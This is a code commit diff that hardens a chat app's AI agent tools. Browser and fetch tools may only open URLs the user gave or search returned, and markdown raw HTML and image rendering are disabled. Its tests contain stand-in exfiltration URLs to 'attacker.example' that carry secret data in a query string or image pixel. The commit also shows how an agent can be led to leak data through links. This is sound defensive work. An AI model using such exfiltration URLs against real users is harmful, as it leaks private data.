Harden app markdown URL handling (#16380)
This commit is contained in:
@@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
|
||||
return b.state.Data, pageText, nil
|
||||
}
|
||||
|
||||
if !allowedDirectURL(ctx, url) {
|
||||
return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
|
||||
}
|
||||
|
||||
// Page not in cache, need to crawl it
|
||||
if b.crawlPage == nil {
|
||||
b.crawlPage = &BrowserCrawler{}
|
||||
|
||||
@@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
|
||||
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||
bo := NewBrowserOpen(b)
|
||||
|
||||
_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
|
||||
if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
|
||||
t.Fatalf("expected direct URL rejection, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
|
||||
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
|
||||
|
||||
if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
|
||||
t.Fatal("expected exact user-provided URL to be allowed")
|
||||
}
|
||||
if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
|
||||
t.Fatal("did not expect modified URL to be allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDisplayPage_InvalidLoc(t *testing.T) {
|
||||
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
|
||||
p := makeTestPage("https://example.com/x")
|
||||
|
||||
58
app/tools/url_policy.go
Normal file
58
app/tools/url_policy.go
Normal file
@@ -0,0 +1,58 @@
|
||||
//go:build windows || darwin
|
||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type directURLContextKey struct{}
|
||||
|
||||
var directURLPattern = regexp.MustCompile(`https?://[^\s<>"']+`)
|
||||
|
||||
func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
|
||||
allowed := make(map[string]struct{})
|
||||
for _, match := range directURLPattern.FindAllString(text, -1) {
|
||||
addAllowedDirectURLToMap(allowed, match)
|
||||
}
|
||||
return context.WithValue(ctx, directURLContextKey{}, allowed)
|
||||
}
|
||||
|
||||
func addAllowedDirectURL(ctx context.Context, raw string) {
|
||||
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||
addAllowedDirectURLToMap(allowed, raw)
|
||||
}
|
||||
|
||||
func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
|
||||
if allowed == nil {
|
||||
return
|
||||
}
|
||||
|
||||
raw = cleanDirectURL(raw)
|
||||
if raw == "" {
|
||||
return
|
||||
}
|
||||
|
||||
allowed[raw] = struct{}{}
|
||||
}
|
||||
|
||||
func allowedDirectURL(ctx context.Context, raw string) bool {
|
||||
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
|
||||
raw = cleanDirectURL(raw)
|
||||
|
||||
_, ok := allowed[raw]
|
||||
return ok
|
||||
}
|
||||
|
||||
func cleanDirectURL(raw string) string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
raw = strings.TrimRight(raw, ".,;:!?)]}")
|
||||
|
||||
if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
|
||||
return ""
|
||||
}
|
||||
|
||||
return raw
|
||||
}
|
||||
@@ -67,6 +67,9 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
|
||||
if !ok || strings.TrimSpace(urlStr) == "" {
|
||||
return nil, "", fmt.Errorf("url must be a non-empty string")
|
||||
}
|
||||
if !allowedDirectURL(ctx, urlStr) {
|
||||
return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
|
||||
}
|
||||
|
||||
result, err := performWebFetch(ctx, urlStr)
|
||||
if err != nil {
|
||||
|
||||
@@ -88,6 +88,9 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
for _, result := range result.Results {
|
||||
addAllowedDirectURL(ctx, result.URL)
|
||||
}
|
||||
|
||||
return result, "", nil
|
||||
}
|
||||
|
||||
61
app/ui/app/src/components/StreamingMarkdownContent.test.tsx
Normal file
61
app/ui/app/src/components/StreamingMarkdownContent.test.tsx
Normal file
@@ -0,0 +1,61 @@
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
import type React from "react";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
type MockStreamdownProps = {
|
||||
children?: React.ReactNode;
|
||||
components: {
|
||||
img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
|
||||
};
|
||||
rehypePlugins?: unknown[];
|
||||
};
|
||||
|
||||
const streamdownMock = vi.hoisted(() =>
|
||||
vi.fn((props: MockStreamdownProps) => props.children),
|
||||
);
|
||||
|
||||
vi.mock("streamdown", () => ({
|
||||
Streamdown: streamdownMock,
|
||||
defaultRehypePlugins: {
|
||||
katex: "katex",
|
||||
raw: "raw",
|
||||
},
|
||||
defaultRemarkPlugins: {
|
||||
gfm: "gfm",
|
||||
math: "math",
|
||||
},
|
||||
}));
|
||||
|
||||
import StreamingMarkdownContent from "./StreamingMarkdownContent";
|
||||
|
||||
describe("StreamingMarkdownContent", () => {
|
||||
beforeEach(() => {
|
||||
streamdownMock.mockClear();
|
||||
});
|
||||
|
||||
it("does not enable raw HTML parsing", () => {
|
||||
renderToStaticMarkup(
|
||||
<StreamingMarkdownContent content="<iframe></iframe>" />,
|
||||
);
|
||||
|
||||
const props = streamdownMock.mock.calls[0][0];
|
||||
expect(props.rehypePlugins).toEqual(["katex"]);
|
||||
expect(props.rehypePlugins).not.toContain("raw");
|
||||
});
|
||||
|
||||
it("does not render markdown image src values", () => {
|
||||
renderToStaticMarkup(
|
||||
<StreamingMarkdownContent content="" />,
|
||||
);
|
||||
|
||||
const props = streamdownMock.mock.calls[0][0];
|
||||
const Img = props.components.img;
|
||||
const html = renderToStaticMarkup(
|
||||
<Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
|
||||
);
|
||||
|
||||
expect(html).not.toContain("<img");
|
||||
expect(html).not.toContain("attacker.example");
|
||||
expect(html).toContain("secret");
|
||||
});
|
||||
});
|
||||
@@ -1,5 +1,9 @@
|
||||
import React from "react";
|
||||
import { Streamdown, defaultRemarkPlugins } from "streamdown";
|
||||
import {
|
||||
Streamdown,
|
||||
defaultRehypePlugins,
|
||||
defaultRemarkPlugins,
|
||||
} from "streamdown";
|
||||
import remarkCitationParser from "@/utils/remarkCitationParser";
|
||||
import CopyButton from "./CopyButton";
|
||||
import type { BundledLanguage } from "shiki";
|
||||
@@ -29,6 +33,8 @@ const extractText = (node: React.ReactNode): string => {
|
||||
return "";
|
||||
};
|
||||
|
||||
const safeRehypePlugins = [defaultRehypePlugins.katex];
|
||||
|
||||
const CodeBlock = React.memo(
|
||||
({ children }: React.HTMLAttributes<HTMLPreElement>) => {
|
||||
// Extract code and language from children
|
||||
@@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
|
||||
<Streamdown
|
||||
parseIncompleteMarkdown={isStreaming}
|
||||
isAnimating={isStreaming}
|
||||
rehypePlugins={safeRehypePlugins}
|
||||
remarkPlugins={remarkPlugins}
|
||||
controls={false}
|
||||
components={{
|
||||
img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
|
||||
alt ? <span>{alt}</span> : null,
|
||||
pre: CodeBlock,
|
||||
table: ({
|
||||
children,
|
||||
|
||||
13
app/ui/ui.go
13
app/ui/ui.go
@@ -574,6 +574,18 @@ func (s *Server) getError(err error) responses.ErrorEvent {
|
||||
}
|
||||
}
|
||||
|
||||
func userMessageText(messages []store.Message) string {
|
||||
var b strings.Builder
|
||||
for _, message := range messages {
|
||||
if message.Role != "user" {
|
||||
continue
|
||||
}
|
||||
b.WriteString(message.Content)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
|
||||
if len(chat.BrowserState) > 0 {
|
||||
var st responses.BrowserStateData
|
||||
@@ -839,6 +851,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
|
||||
// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
|
||||
registry := tools.NewRegistry()
|
||||
var browser *tools.Browser
|
||||
ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages))
|
||||
|
||||
if !hasAttachments {
|
||||
WebSearchEnabled := req.WebSearch != nil && *req.WebSearch
|
||||
|
||||
Reference in New Issue
Block a user